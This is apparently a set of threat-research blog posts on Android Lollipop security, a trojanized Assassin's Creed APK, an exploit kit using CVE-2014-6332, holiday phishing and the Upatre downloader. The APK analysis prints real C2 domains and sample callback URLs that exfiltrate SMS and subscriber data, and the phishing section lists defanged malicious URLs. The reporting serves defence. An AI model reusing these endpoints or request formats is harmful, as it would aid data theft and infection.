Top Security Features Added to Android Lollipop

As Google officially rolls out it's new operating system Lollipop, let's review some of the enhanced security features added to Android 5.0.

Lollipop

Kill switch

The most interesting new security feature is the Factory Reset Protection option, which is also known as the “kill switch.” To aid corporate and personal users dealing with stolen devices, the personal data stored within the device can now be remotely wiped and the phone made inoperable. With reports suggesting that over 3 million Americans had their smart phones stolen last year, it's easy to see why Google has added this feature to Lollipop.

Device management.

Encryption on the fly

Another valuable security feature available in Lollipop is default encryption. Although not an entirely new feature as previous Android did offer encryption, it needed to be explicitly enabled by the user. With Lollipop, the initial boot will prompt users to activate encryption. Thereafter, new data will be encrypted on the fly.

Improved malware protection and sandboxing

Lollipop is armed with SELinux (Security Enhanced Linux), which aims to provide enhanced protection against malware and vulnerabilities. This feature ensures secure app isolation, which helps to keep private data secure should the device be compromised. 

Smart Device Lock

The real privacy danger for most users is simply leaving a device unlocked and then having someone else gain access to personal data and open social profiles. Locking phone features should not be a tedious task that users avoid. Lollipop therefore introduces a new feature called Smart Lock to help combat this problem.

Smart Lock adds the ability to set trusted locations such as home or the office, where your device will open automatically once you enter that region. You can do the same in conjunction with specific Bluetooth and NFC enabled Android Wear smart watches. When sensing these trusted devices, Lollipop phones/tablets will lower their security shields as the owner is presumably present. Users are also able to set notification access prior to a security lock to allow actions such as sending a message.

Multiple User Profiles

As Internet social profiles and personal data like photos and contacts are generally the most sensitive information for a user, lending a phone to another person creates a security risk. Lollipop solves this issue by permitting multiple user profiles. Users can create a different guest profile which has limited access. The Owner account has access to the entire device and everything within it, as well as control over other profiles on the device. A User account, on the other hand, has limited access to certain apps and content controlled by the device’s main user, as well as limited calling and SMS capabilities. This feature is also beneficial for parents who can give their phone to their kids and only grant them access to a specific app or a game that they want them to play and nothing else on the device.

Want to scan Android apps for security and privacy issues? Try ZAP.

Trojanized and Pirated Assassins Creed app

During our daily research, we recently came across Android malware disguising itself as an Assassins Creed app, which is a popular paid gaming application. The malware in question will install a pirated version of the Assassins Creed game that functions normally, making end user oblivious to the malicious activities it performs in background.

Application information:

• File MD5 : 3E076979644672A0EF750A4C3226F553
• File Size : 3.25 MB
• File Name : assassins_creed.apk
• Package Name : com.dsifakf.aoakmnq

Permissions:

• android.permission.ACCESS_NETWORK_STATE
• android.permission.GET_ACCOUNTS
• android.permission.INTERNET
• android.permission.PROCESS_OUTGOING_CALLS
• android.permission.READ_EXTERNAL_STORAGE
• android.permission.READ_PHONE_STATE
• android.permission.READ_SMS
• android.permission.RECEIVE_BOOT_COMPLETED
• android.permission.RECEIVE_SMS
• android.permission.SEND_SMS
• android.permission.WAKE_LOCK
• android.permission.WRITE_EXTERNAL_STORAGE
• android.permission.WRITE_SMS

The malicious application is capable of sending multi-part text messages, harvesting text messages from a victim's device, and sending stolen information to a remote Command & Control (C2) server. We were able to locate phone numbers belonging to Russian bank "Volga-Vyatka Bank of Sberbank of Russia" in the malicious application code for which SMS messages are being intercepted to steal sensitive information. Another interesting feature we saw is the usage of AES encryption for all the C2 communication. It also harvests the mobile number and Subscriber ID information from the victim device for tracking purposes.

The screenshot below shows the AES crypto library configurations. All the sensitive harvested data and C2 communication is encrypted and decrypted using this configuration.

Code snippet showing the string containing the Russian Bank phone numbers:

Command and Control server information in encrypted and decrypted form:

We saw the following two command and control servers hardcoded in the malicious application:

•  bnk7ihekqxp.net
•  googleapiserver.net

The screenshot above shows the usage of AES for C2 communication. A sample call back request from the infected device will be of the following format:

"http://bnk7ihekqxp[.]net/iaefu.php?1=4fe08eb4b43XXXXXXXX&id=X".

The code snippet below shows the SMS and Subscriber ID information harvesting feature:

It sends the harvested information via a POST request as seen below:

Code snippet showing the SMS sending feature:

Code snippet showing the SMS interception and storage arrays:
.

The intercepted SMS data, Subscriber ID, and phone number information are then sent to the C2 server in an encrypted form
.

Here is a sample request:

http://googleapiserver.net/kysnfhwo.php?1=4fe08eXXXXXXXXXXXXXXXXXXXX&4=3XXXXXXXXXXXXXXX

The malicious app performs the activity of harvesting sensitive information and sending it to the remote server on a regular interval by setting up an alarm as seen below:

Upon installation, the user will see the game icon on the screen, that disappears shortly thereafter with the malicious process still running in the background.

Recommendation:

Cybercriminals often lure users with pirated versions of popular paid mobile applications that are Trojanized to steal sensitive information. It is strongly recommended that users stay away from such offers and download mobile app only from the trusted sources like the Google Play store.

Defaced websites leading to Dokta Chef Exploit Kit and CVE-2014-6332

Defacing websites has been the main stay for hacktivist groups to spread their message.  During recent research, we found multiple compromised websites containing a malicious link to a "lulz.htm" page, which in turn leads the user to a Dokta Chef Exploit Kit (EK) hosting site. This appears to be  a new tactic whereby a hacktivist group has escalated their activities by attacking users who visit defaced sites.  This is out of character for such groups that generally seem more interested in disrupting private sector compliance with government entities, than targeting end users.

The contact information provided on the defacement page shows that the culprits of this attack are claiming to be part of the "AnonGhostTeam" group, based on the associated Twitter account.  This group has targeted numerous Government and Mass Media websites in the past including:

• swo.gov.sy
• syrianpost.gov.sy
• myisrael.org.il
• madagascar.gov.mg
• skynewsinternational.com
• ccvs.state.vt.us
• txep.uscourts.gov
• rsb.wp.mil.pl
• navy.gov.au
• igc.mowr.gov.iq
• embavenez.co.uk
• libyanembassy-italy.gov.ly

The defaced pages have been lifted in most cases, leaving only a Zone-H mirror

Written in Beautiful Comic Sans

The defaced websites were found to be hosting a page called "lulz.htm", that contains highly obfuscated JavaScript code leading the users to a Dotka Chef EK infection cycle.

Obfuscated JavaScript on the compromised sites

CVE-2014-6332 exploit

The Dokta Chef EK, was serving a malicious payload for a recently disclosed Microsoft Vulnerability CVE-2014-6332, that causes remote code execution when the user visits a specially crafted webpage using Internet Explorer (IE). The vulnerability is triggered when IE improperly accesses Object Linking and Embedding (OLE) objects in the memory. The vulnerable code has been present in OleAut32 library since IE version 3.0 and was recently fixed - MS14-064

 

The attacker is targeting only the 32-bit Windows Operating systems and also ensuring that the user's browser is IE, as seen in the exploit code snippet above. The exploit cycle will terminate if any of the following conditions are true:

• User is browsing from a 64-bit Windows Operating system
• User is browsing from a non-Windows Operating system, 
• User's browser is not IE

If the IE version used by the victim is lower than 4, the runshellcode() routine will be invoked, skipping the CVE-2014-6332 exploit cycle.  If the version used is higher than 3, setnotsafemode() routine is invoked to exploit the CVE-2014-6332 vulnerability.

The CVE-2014-6332 vulnerability is triggered by using an abnormally large array in conjunction with the redim Preserve function, as shown in the VBScript exploit code snippet above.

At the time of research, the end payload was not reachable, but the VirusTotal Scan of the hostname shows a history of dubious activity.

The Zscaler ThreatLabZ team has deployed multiple protections against this threat and is actively monitoring the malicious activity surrounding this mass compromise.

Beware of Phishing Attacks and Other Scams during the Thanksgiving Shopping Season

Thanksgiving Day is one of the major holidays celebrated in the United States on the fourth Thursday in November. The following Friday, referred to as Black Friday, marks the start of the Christmas holiday shopping season. Almost every retailer large and small offers huge discounts on Black Friday, often extending through the weekend and the following Monday, now known as Cyber Monday.

As we near Thanksgiving and the start of the holiday shopping frenzy, we’re observing a sharp increase in cyber scams and phishing activities targeting online shoppers. As shoppers look for the best deals available, cybercriminals are quick to take advantage of unsuspecting users.

Increase in online shopping transactions

Every year during this timeframe, we observe a noticeable spike in the total number of web transactions within the Shopping category. We have shared this trend in our previous blogs as well ([1],[2]).

Last year, we saw around 2.71% of all the web transactions categorized as Shopping and this year is no different. We currently see that 2.63% of total web transactions belong to the Shopping category and we expect this number to rise as we approach the end of the month. The following chart shows that the number of Shopping transactions has increased steadily throughout November.

Cyber Scams and Phishing attacks

The increase in Shopping activity comes with an unwelcome increase in phishing attempts. Phishing is a well known attack method, often used by attackers to steal sensitive information like authentication credentials, credit card numbers and personal information. We have already seen a large spike in Phishing and Spam activity, specifically targeting Thanksgiving, Black Friday, and Cyber Monday events. The following graph shows the phishing transactions for this month that have been blocked by Zscaler:

We caution consumers to be extra vigilant this holiday season when shopping online. Here are some examples of phishing attempts that we have blocked:

Walmart phishing attempt:

Amazon phishing attempt:

Ebay phishing attempt:

The motive behind these attempts is to steal sensitive user information which includes personal credentials and financial data. Cybercriminals often use this stolen information for illicit activities resulting in monetary gain.

More phishing sites targeting online retailers:

• Ebay - hxxp://124[.]150[.]140[.]133/~ritenfad/viewitem/dll/88322933932/
• Walmart - hxxp://ofertaswalmart[.]besaba.com
• Walmart - hxxp://walmartfriday[.]net/
• Amazon - hxxp://zekocase[.]com/._ama_c0nf1rm/info_bill/login.php
• Amazon - 213[.]13[.]119[.]152/am/

Fake Black Friday/Cyber Monday/Thanksgiving related sites:

• hxxp://sfspr[.]org/?hid=hollister-cyber-monday-cyber-monday-sale
• hxxp://cyber-shop[.]net
• hxxp://www[.]ocdiagnostics[.]net/?id=louboutin-loafers-cyber-monday-deals
• hxxp://koeriersdienstdemolen[.]nl/wp-content/languages/?page=toms-soap-cyber-monday-2014
• hxxp://devillevacaville[.]com/?tid=cyber-monday-toms-canada
• hxxp://postyourads.co[.]uk/?mid=mulberry-bags-cyber-monday-deals
• hxxp://semexcesso.com[.]br/?hid=hollister-girls-cyber-monday-2014
• hxxp://dl5.iq11download[.]com/lm/lmdisc2/thanksgivingss.exe
• hxxp://www[.]americanasblackfriday[.]esy[.]es
• hxxp://www[.]systempackaging[.]com/images/ugg/black-friday-uggs-p-35.html
• hxxp://busycatholicmoms[.]com/2013/11/26/new-articles-and-happy-thanksgiving/

Sample of subjects used in spam e-mail messages targeting online shoppers:

• Get Stylish-furniture At Discount
• Checkout tire sales for Black Friday
• Make the Most of Black Friday, with A New smart-phone
• Brand name laptops on sale for BlackFriday
• [Black Friday Starts EARLY]Saveup to 90% +FREE BonusItems!
• Walmart One Day Specials BlackFriday
• Shop Black Friday sales to upgrade furniture
• Thanksgiving Specials and BlackFriday Discounts!
• New Early BlackFriday Door busters are Added EveryDay
• Shop Black Friday to find discounts on electronics
• Search major Savings on laptops...On black-friday
• Limited Time Black Friday Deal
• 10% off Site-Wide. Get Your Black Friday Shopping Started Today!

 

How can online shoppers protect themselves?

Thanksgiving marks the start of the holiday shopping season which continues until Christmas. The Zscaler ThreatLabZ team is working round the clock to ensure that our customers do not fall prey to such malicious activity.

We highly recommend that all online shoppers exercise extreme caution and follow our holiday season shopping security checklist:  

• Inspect the source of emails with shopping deals

• Ensure HTTPS/secure connections to online retailers and Banking sites

• Check the authenticity of the URL or website address before clicking on a link

• Stay away from e-mailed invoices - this is often a social engineering technique used by cybercriminals

• Do not use insecure public WiFi for shopping

• Use two-factor authentication whenever possible especially on sensitive accounts such as those used for banking

• Always ensure that your Operating System and Web Browser have the latest security patches installed

• Use browser add-ons like Adblock Plus to block popups and potential malvertisements

• Backup your documents and media files

• Review the Identity Theft Guide and FAQ from the Federal Trade Commission.

Wishing you all a very Happy Thanksgiving and don’t spend too much!

Credit for analysis: Rubin Azad, Uday Pratap Singh

Evolution of Upatre Trojan Downloader

Background

Upatre is a Trojan Downloader family that once installed, is responsible for stealing information and downloading additional malware onto the victim machine. It typically arrives via spammed e-mail messages from the Cutwail Botnet, either as an attachment or via a URL pointing to a remote hosting site. We are also seeing Exploit Kits being used as a vector for Upatre infections in the wild.

Upatre Downloader cybercrime network

Upon successful infection, Upatre has been responsible for downloading malicious payloads from known malware families such as:

• Zeus (Zbot) banking Trojan
• Rovnix Volume Boot Record (VBR) bootkit
• Dyreza (DYRE) banking Trojan

The Upatre malware family was first discovered in August 2013 and exponentially increased its infection rates by October, 2013. With the demise of the popular Blackhole Exploit Kit in October 2013, many malware authors resorted to traditional spam with the Upatre Trojan downloader as a medium for delivery of the ultimate payload, which also contributed to the increase in infections.

The Upatre malware authors have deployed multiple new techniques over the past year, which is the reason why it is one of the most prevalent malware families today. Some of the features that we have tracked include:

• Password protected attachments - This makes the e-mail look more legitimate and confidential
• Spammed as an attachment inside an attachment - The spammed e-mail messages contained another e-mail message (*.msg, *.eml) as an attachment which contains the actual Upatre archive attachment
• Email messages containing a URL pointing to the actual payload
• Randomized header bytes and encrypted malware downloads to evade detection
• Usage of SSL encryption for Command & Control (C2) communication and subsequent malware downloads

Recent Attacks

We have seen an increase in the number of Upatre Downloader infections occurring through spammed messages containing fake invoices or voice-mail messages in the past month. The final payload being downloaded from these recent Upatre infections tends to be the Dyreza Banking Trojan. Below is a sample e-mail message from this campaign:

Cutwail spam e-mail leading to Upatre

If the user clicks on the link in the e-mail, they will be redirected to the same site with additional information identifying the operating system in the URI before serving the payload as seen here:

GET /documents/invoice_101114_pdf.php?h=[3 digit integer]&w=[4 digit integer]&ua=[User-Agent String]&e=1 HTTP/1.1

The user will then be prompted to download a zipped archive file, which contains a new variant of the Upatre Trojan downloader as seen below:

Upatre download in an archive

The user is redirected to a legitimate site (i.e "www.hsbc.com"), if the operating system is not supported or is redirected at the end of the download cycle.

The Upatre executable masquerades as a PDF document as seen here:

Upatre executable with PDF icon

The infection cycle begins once the user opens the enclosed executable file. It makes a copy of itself as "%Temp%\pvavq.exe" and runs it. The newly launched process "pvavq.exe", will then delete the original executable "invoice10-11-14_pdf.exe". It connects to a remote C2 server over TCP port 40007 to report the infection and supply information about the Month and Year of spammed binary, victim computer name, operating system information, etc.

Upatre network communication

It further downloads the Dyreza banking Trojan in an encrypted form as "%Temp%\utt214.tmp" on the victim machine to evade network detection. It then decrypts the downloaded payload as "%Temp%\EXE1.exe" and executes it. This will initiate the Dyreza banking Trojan infection cycle.

Dyreza banking Trojan encrypted and decrypted payload

This variant uses an incremental 4-byte XOR key in the decryption routine as opposed to the hardcoded key we have seen before.

Part of Upatre decryption routine for downloaded payload

The following screenshot shows the custom User-Agent string and hard coded remote server locations we found during our Upatre binary analysis:

unpacked Upatre binary

Indicators of Compromise

Here is a sample list of HTTP requests that will provide a good indication of an Upatre and Dyreza compromise on your network:

Upatre indicators of compromise

Additionally, we have seen the following three hardcoded User-Agent strings being used for the HTTP requests in the Upatre variants that we have analyzed:

• ENUPDATE
• ONLYUPDATE
• UPDATE

Conclusion

The Upatre Trojan downloader family continues to evolve and is one of the most prevalent malware families at present. It continues to add new malware to its cyber crime pay-per-install nexus, serving as a vector for downloading and installing additional malware family payloads.

Zscaler ThreatLabZ is actively monitoring this threat and ensuring full security coverage for our customers.